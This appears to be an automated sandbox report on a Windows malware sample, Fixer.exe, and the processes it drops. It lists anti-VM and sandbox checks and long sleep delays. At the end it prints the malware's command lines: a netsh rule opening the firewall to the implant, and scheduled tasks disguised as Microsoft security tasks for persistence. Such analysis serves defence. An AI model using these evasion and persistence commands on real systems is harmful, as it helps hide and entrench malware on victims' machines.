Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Defender.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_CacheMemory
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from CIM_Memory

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE PNPClass = 'Camera'
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE PNPClass = 'Camera'
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE PNPClass = 'Camera'
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE PNPClass = 'Camera'
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE PNPClass = 'Camera'
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE PNPClass = 'Camera'
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE PNPClass = 'Camera'
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE PNPClass = 'Camera'
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE PNPClass = 'Camera'

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 0000000D.00000002.52866509335.0000000002941000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000013.00000002.52877664599.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000015.00000002.52889295522.0000000002741000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000017.00000002.53431573615.0000000002E81000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Fixer.exe	Memory allocated: 29C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Memory allocated: 29E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Memory allocated: 24D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Memory allocated: 1A7B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Memory allocated: 1080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Memory allocated: 1AA80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Memory allocated: 2680000 memory reserve \| memory write watch
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Memory allocated: 1A940000 memory reserve \| memory write watch
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Memory allocated: D30000 memory reserve \| memory write watch
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Memory allocated: 1A8D0000 memory reserve \| memory write watch
Source: C:\Windows\System32\Defender.exe	Memory allocated: E40000 memory reserve \| memory write watch
Source: C:\Windows\System32\Defender.exe	Memory allocated: 1AB00000 memory reserve \| memory write watch
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Memory allocated: CE0000 memory reserve \| memory write watch
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Memory allocated: 1A740000 memory reserve \| memory write watch
Source: C:\Windows\System32\Defender.exe	Memory allocated: 1180000 memory reserve \| memory write watch
Source: C:\Windows\System32\Defender.exe	Memory allocated: 1ABE0000 memory reserve \| memory write watch
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Memory allocated: 13C0000 memory reserve \| memory write watch
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Memory allocated: 1AE80000 memory reserve \| memory write watch
Source: C:\Windows\System32\Defender.exe	Memory allocated: 26C0000 memory reserve \| memory write watch
Source: C:\Windows\System32\Defender.exe	Memory allocated: 1A940000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe

Code function: 2_2_00007FFA1B3C7198 rdtsc

2_2_00007FFA1B3C7198

Source: C:\Users\user\Desktop\Fixer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Defender.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Defender.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Fixer.exe

Window / User API: threadDelayed 9958

Jump to behavior

Source: C:\Users\user\Desktop\Fixer.exe TID: 7388	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe TID: 7844	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe TID: 5700	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe TID: 5396	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe TID: 2696	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\Defender.exe TID: 1076	Thread sleep count: 54 > 30
Source: C:\Windows\System32\Defender.exe TID: 1076	Thread sleep time: -35000s >= -30000s
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe TID: 5024	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\Defender.exe TID: 7328	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe TID: 5560	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\Defender.exe TID: 7104	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\Defender.exe	Last function: Thread delayed
Source: C:\Windows\System32\Defender.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Fixer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Defender.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Defender.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior

Source: 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002A44000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 0000000D.00000002.52866509335.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000013.00000002.52877664599.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000015.00000002.52889295522.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000017.00000002.53431573615.0000000003129000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qemu-g
Source: Defender.exe, 00000014.00000002.53603195774.000000001B756000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM+_r
Source: 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002A44000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 0000000D.00000002.52866509335.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000013.00000002.52877664599.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000015.00000002.52889295522.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000017.00000002.53431573615.0000000003129000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: xdwdSecurityHealthSystrays.exe, 00000017.00000002.53431573615.00000000030A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Defender.exe, 00000014.00000002.53603195774.000000001B756000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHa%SystemRoot%\system32\mswsock.dll </faultPropagationQueries>
Source: 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002A44000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 0000000D.00000002.52866509335.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000013.00000002.52877664599.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000015.00000002.52889295522.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000017.00000002.53431573615.0000000003129000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qemu-
Source: 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002A44000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 0000000D.00000002.52866509335.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000013.00000002.52877664599.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000015.00000002.52889295522.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000017.00000002.53431573615.0000000003129000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\qemu-ga
Source: Fixer.exe, 00000000.00000002.52599130900.0000000000E61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Fixer.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe

Code function: 2_2_00007FFA1B3C7198 rdtsc

2_2_00007FFA1B3C7198

Source: C:\Users\user\Desktop\Fixer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process token adjusted: Debug
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process token adjusted: Debug
Source: C:\Windows\System32\Defender.exe	Process token adjusted: Debug
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process token adjusted: Debug
Source: C:\Windows\System32\Defender.exe	Process token adjusted: Debug
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Process token adjusted: Debug
Source: C:\Windows\System32\Defender.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Fixer.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Fixer.exe	Process created: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe "C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Process created: C:\Users\user\AppData\Local\Temp\FixerNerest.exe "C:\Users\user\AppData\Local\Temp\FixerNerest.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\cmd.exe "CMD" netsh advfirewall firewall add rule name="7=PG%XL(%PSA%R" dir=in action=allow program="C:\Windows\System32\xdwdSecurityHealthSystrays.exe" enable=yes & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit	Jump to behavior
